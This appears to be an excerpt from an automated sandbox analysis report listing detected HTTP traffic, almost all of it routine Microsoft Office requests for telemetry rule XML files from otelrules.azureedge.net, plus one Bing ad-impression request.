Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De85zg5X10W3omnZJAc9BRGwTVUCUxqY9zepHAyEV4XcEeG3K9oLvIOi6Vk3JgXa9GDJHcybAJN6VlWKWfIK4tyQjw0Eoge1b3kMBNkwsEwNwqAhnaDvU7-eWaCMEKEslNDqn8zJvIAqV-qnkqIbRqqTHLY5P6NJxR9BLbqO4LC8Z-tcUy2%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3Da4939fa6d87f145e29c6f8f3154ad8ef&TIME=20241208T164608Z&CID=531538185&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=0B32081D44BA686A122B1D5245126918; _EDGE_S=SID=04BBC32460106D0F03EFD66B61196C53; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
